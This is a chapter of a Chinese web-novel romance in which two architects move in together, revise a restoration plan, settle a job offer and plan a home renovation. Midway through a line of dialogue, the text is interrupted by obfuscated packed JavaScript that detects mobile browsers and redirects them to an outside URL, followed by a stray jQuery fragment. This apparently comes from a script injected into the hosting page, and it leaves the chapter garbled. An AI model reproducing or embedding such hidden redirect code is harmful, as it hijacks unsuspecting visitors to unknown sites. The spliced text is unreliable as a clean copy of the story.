同居的第一个清晨，林溪是被阳光吻醒的。
晨光透过没拉严的窗帘缝隙，斜斜地切在床上，正好落在顾怀瑾沉睡的脸上。他侧躺着，一只手还搭在林溪腰上，呼吸均匀绵长。林溪就这么静静地看着，看他长长的睫毛在眼睑下投出淡淡的阴影，看他唇边微微上扬的弧度——连在睡梦里，这个人都在笑。
林溪轻轻移开顾怀瑾的手，准备起床。刚一动，那只手又缠了上来，这次直接把他拉回怀里。
“再睡会儿。”顾怀瑾眼睛都没睁，声音带着刚醒的沙哑。
“七点了，您今天不是要开会？”
“推迟了。”顾怀瑾把脸埋进林溪颈窝，“陪我再躺十分钟。”
这种赖床的顾怀瑾，是林溪从未见过的。他忍不住笑，顺从地躺回去，手指有一下没一下地梳理顾怀瑾睡乱的头发。
“您什么时候推迟的会？”
“昨晚你睡着后。”顾怀瑾终于睁开眼，眼睛里还有惺忪睡意，“给助理发了消息，说今天上午不过去了。”
“那您上午……”
“在家。”顾怀瑾亲了亲他的额头，“陪你整理东西，然后……做点别的。”
“别的”这个词被他说得意味深长，林溪的耳朵又红了。
两人在床上赖到八点半才起来。顾怀瑾去洗漱，林溪去厨房做早餐。打开冰箱时，他愣住了——昨晚买的食材整整齐齐码放着，牛奶在保鲜层，鸡蛋在蛋格里，蔬菜用保鲜袋分装好。而最显眼的位置，放着那盒新鲜的草莓，旁边贴了张便签：
“给林溪的草莓，这次不会发霉了。
——顾”
字迹工整，和他平时在图纸上的签名一样漂亮。
林溪拿着便签，心里像被温水泡过，柔软得一塌糊涂。
早餐时，顾怀瑾穿着睡衣坐在餐桌对面，头发还没完全干，有一缕不听话地翘着。他一边吃煎蛋一边看手机，眉头微皱。
“工作？”林溪问。
“嗯。修复项目的初步方案，团队发来了。”顾怀瑾把手机推过来，“你看看。”
林溪接过。屏幕上是那栋受损建筑的扫描图，旁边是修复方案。他仔细看了几分钟：“这个加固方式……是不是太保守了？”
顾怀瑾眼睛一亮：“怎么说？”
“你看这里，”林溪放大图纸，“原建筑的木结构虽然腐朽，但榫卯连接的方式很精巧。如果用现代的钢结构完全替换，会失去原有的力学逻辑。我觉得可以部分保留，用碳纤维布加固。”
他边说边拿过餐巾纸，用铅笔在上面画示意图：“就像中医，不是哪里坏了切哪里，是激发它自身的修复能力。”
顾怀瑾看着那张餐巾纸上的草图，看了很久。然后他抬头，眼睛里有林溪熟悉的那种光——专业被点燃时的光。
“下午来事务所，”他说，“给团队讲一下这个思路。”
“我可以吗？”
“你比他们强。”顾怀瑾说得很自然，“吃完我们就去。”
同居的第一个上午，就这样变成了工作研讨会。
---
事务所里，同事们看见林溪时都露出“果然如此”的笑容。陆深凑过来小声说：“林工，以后就是老板娘了？”
林溪红着脸给了他一肘子。
会议室的投影屏上，林溪讲解他的修复思路。从原建筑的结构分析，到碳纤维加固的技术细节，再到“新旧共生”的设计理念。他讲得很投入，没注意到顾怀瑾一直靠在门边看着他，眼神温柔得像在看什么珍宝。
讲完后，团队沉默了半分钟，然后爆发出热烈的讨论。
“这个思路确实更尊重原建筑！”
“但施工难度会增加……”
“碳纤维的成本要重新算……”
顾怀瑾走过来，拍了拍林溪的肩膀：“就这么办。重新做方案，预算我来协调。”
“顾总，”一位老工程师皱眉，“这样风险很大，万一——”
“没有万一。”顾怀瑾打断他，“林溪的方案是最好的。我们要做的，是把它实现，不是质疑。”
这话说得很重，会议室瞬间安静下来。林溪看向顾怀瑾，后者给了他一个坚定的眼神。
那天下午，他们一直在事务所。林溪和工程师们讨论技术细节，顾怀瑾在办公室处理其他工作。但每隔一小时，他就会出现在会议室门口，有时候是送杯水，有时候是问进度，有时候就是站在那里看一会儿。
第三次出现时，苏薇忍不住小声对林溪说：“顾总今天是不是太黏人了？”
林溪低头假装看图纸，耳朵又红了。
傍晚六点，初步方案完成。顾怀瑾请大家吃饭——不是外卖，是去附近的一家云南菜馆。席间，团队气氛轻松了许多，大家聊工作，聊生活，聊最近的建筑展。
林溪安静地听着，偶尔插几句话。他能感觉到，大家正在慢慢接受他——不是作为“顾总的人”，而是作为团队的一员。
回去的路上，顾怀瑾开车，等红灯时忽然说：“今天表现得很好。”
“谢谢。”
“不是客气话。”顾怀瑾转过头看他，“你是真的成长了。在专业上，在和人沟通上，都在发光。”
林溪被他看得不好意思：“是您教得好。”
“不。”顾怀瑾摇头，“是你自己好。”
车里的空气突然变得有些稠。直到后面的车按喇叭，顾怀瑾才重新启动车子。
到家已经九点多。两人都累了，洗漱完就瘫在沙发上。
“明天什么安排？”林溪问。
“上午去工地现场勘查，下午见材料供应商。”顾怀瑾揉了揉太阳穴，“你呢？”
“我……还没想好。”林溪顿了顿，“其实，上午我收到了一个工作邀请。”
顾怀瑾坐直身体：“什么邀请？”
“一家国际建筑事务所，想挖我去做他们的中国区项目负责人。薪水……很高。”
空气安静了几秒。
“你想去吗？”顾怀瑾问，声音很平静。
“我不知道。”林溪诚实地说，“他们做的项目很大，很光鲜。但……不是我想要的那种建筑。”
“你想要什么？”
林溪看着天花板：“想要像东区社区中心那样的，能真正改变一些人生活的建筑。想要像赵秀英画的图纸那样的，能承载记忆的建筑。想要……像我们现在住的这个房子这样的，有温度的建筑。”
顾怀瑾伸手，握住他的手：“那就别去。”
“可是……”
“没有可是。”顾怀瑾说，“如果你为了高薪去做不喜欢的事，我会很难过。不是因为你不在我身边，是因为你不快乐。”
林溪转过头，看着顾怀瑾在昏暗灯光下的侧脸。这个人，总是能一眼看穿他最深的挣扎。
“那如果我加入你的团队呢？”他轻声问，“不是以……恋人的身份，是以建筑师的。”
顾怀瑾愣了一下，然后笑了：“你已经在了。”
“我是说正式的。有合同，有职位，有责任。”
这次顾怀瑾认真地想了想：“可以。但你要从项目建筑师做起，和其他人一样。我不会给你特殊待遇。”
“我不要特殊待遇。”林溪眼睛亮起来，“我要公平竞争的机会。”
“那就这么定了。”顾怀瑾握紧他的手，“明天来签合同。”
问题解决了，但林溪心里还有件事。
“顾怀瑾，”他犹豫着开口，“关于……那方面的事。”
“哪方面？”
“就是……昨天晚上。”林溪的脸开始发烫，“我觉得，我们应该……沟通一下。”
顾怀瑾的表情变得微妙：“沟通什么？”
“就是……喜好，习惯，频率……”林溪越说声音越小，“我不想每次都……猜。”
顾怀瑾盯着他看了几秒，突然笑出声来。不是平时的轻笑，是开怀大笑，笑得肩膀都在抖。
“你笑什么！”林溪又羞又恼。
“笑你可爱。”顾怀瑾笑够了，凑过来在他唇上亲了一下，“好，我们沟通。你喜欢什么样的？”
“我……”林溪张了张嘴，发现自己其实也不知道，“我没经验……”
“我也没有。”顾怀瑾说得很自然，“所以我们可以一起探索。”
这句话像有魔力，瞬间抚平了林溪的所有不安。是啊，他们都不是经验丰富的人，但他们可以一起学习，一起成长，像探索建筑一样探索彼此。
“那……”林溪鼓起勇气，“我想多抱抱。不是那种……就是普通的抱抱。”
“好。”顾怀瑾张开手臂，“现在就来。”
林溪靠进他怀里。顾怀瑾的体温透过睡衣传来，心跳沉稳有力。他们就这样在沙发上拥抱着，什么也不做，什么也不说。
窗外，北京夜晚的车流声隐隐传来。屋里，只有钟表滴答和彼此的呼吸声。
“林溪，”顾怀瑾忽然说，“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193507|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下周末，我想带你去个地方。”
“哪里？”
“我父亲的老家。在河北的一个小村子。”顾怀瑾的声音很轻，“他一直想带我去，但总是忙。后来病了，去不了了。现在……我想带你去。”
林溪的心轻轻一震：“您父亲……”
“嗯。”顾怀瑾顿了顿，“我想让他见见你。虽然……可能有点晚。”
林溪抱紧他：“不晚。什么时候都不晚。”
那晚，他们睡得很早。顾怀瑾还是习惯性地抱着林溪，但这次，林溪也回抱着他。两人像两片拼图，严丝合缝地嵌在一起。
半夜，林溪醒来一次。月光从窗帘缝隙漏进来，照在顾怀瑾熟睡的脸上。他睡得很沉，眉头完全舒展，嘴角还有一丝笑意。
林溪轻轻吻了吻他的额头，然后重新闭上眼睛。
第二天早上，林溪先醒了。他轻手轻脚地起床，准备做早餐。刚走到厨房，就被从后面抱住了。
“怎么起这么早？”顾怀瑾的声音还带着睡意。
“给您做早饭。”林溪转过身，看见顾怀瑾头发乱糟糟的样子，忍不住笑，“您再回去睡会儿。”
“不睡了。”顾怀瑾蹭了蹭他的颈窝，“想看你做饭。”
于是林溪煎蛋，顾怀瑾就从后面抱着他，下巴搁在他肩上。林溪切菜，顾怀瑾就在旁边递盘子。简单的早餐，硬是做了半个小时。
吃饭时，顾怀瑾说：“今天签完合同，我带你去个地方。”
“哪里？”
“保密。”
上午在事务所签完聘用合同后，顾怀瑾真的开车带林溪去了一个“保密”的地方——不是什么浪漫的景点，而是一个建材市场。
“来这里做什么？”林溪疑惑。
“选材料。”顾怀瑾牵着他的手往里走，“我们的家，该重新装修一下了。”
林溪愣住了：“装修？”
“嗯。”顾怀瑾在一个木材摊位前停下，拿起一块橡木板，“你从伦敦带回来的那些东西——刺绣，手稿，徽章——需要展示空间。我想在客厅做一面‘记忆墙’，就像你东区方案里那样。”
林溪的心跳加快了：“您是说……”
“我们的家，应该有我们的记忆。”顾怀瑾看着他，“一起选材料，一起设计，一起把它变成真正的家。”
那天下午，他们在建材市场逛了很久。选木材，选涂料，选灯具。顾怀瑾很认真地问林溪的意见：“这个颜色你喜欢吗？”“这种纹理怎么样？”“这里的采光要怎么改？”
林溪一一回答，心里那处柔软的地方被填得满满的。
这不是设计一个项目，这是建造一个家。一个属于他们两个人的家。
傍晚，他们抱着一堆材料样本回到家。顾怀瑾把样本摊在客厅地上，两人坐在地板上讨论设计方案。
“这里，”林溪在纸上画，“可以做一整面书架，放你的专业书和我的笔记本。”
“这里，”顾怀瑾指另一个位置，“可以挂哈桑母亲的刺绣，配一个射灯。”
“窗户要换大一点。”
“阳台可以改成小花园。”
他们一直讨论到深夜。草图画了一张又一张，方案改了一版又一版。最后两人累得直接在地板上睡着了，头靠着头，手牵着手。
第二天早上，林溪在晨光中醒来，发现自己躺在卧室床上，身上盖着被子。顾怀瑾不在身边。
他走出卧室，看见顾怀瑾在厨房里，正对着手机学做阳春面。锅里的面有点坨，但他很专注，眉头紧锁，像在攻克什么技术难题。
林溪靠在门框上看了一会儿，然后走过去，从后面抱住他。
“早。”他说。
顾怀瑾身体放松下来：“早。面坏了……”
“没关系。”林溪接过锅铲，“我来。”
晨光洒进厨房，给一切都镀上温柔的金边。煎蛋的滋滋声，面包机的叮咚声，水壶的鸣笛声——这些日常的声响，汇成一首平凡而美好的交响。
顾怀瑾从后面抱住林溪，把脸埋在他肩上。
“林溪。”他轻声说。
“嗯？”
“这样的早晨，我想要很多很多个。”
林溪关掉火，转身，吻了吻他的唇。
“会的。”他说，“我们会有很多很多个这样的早晨。”
窗外，北京的秋日天空湛蓝如洗。新的一天开始了。
而他们的故事，也正翻开崭新的一页。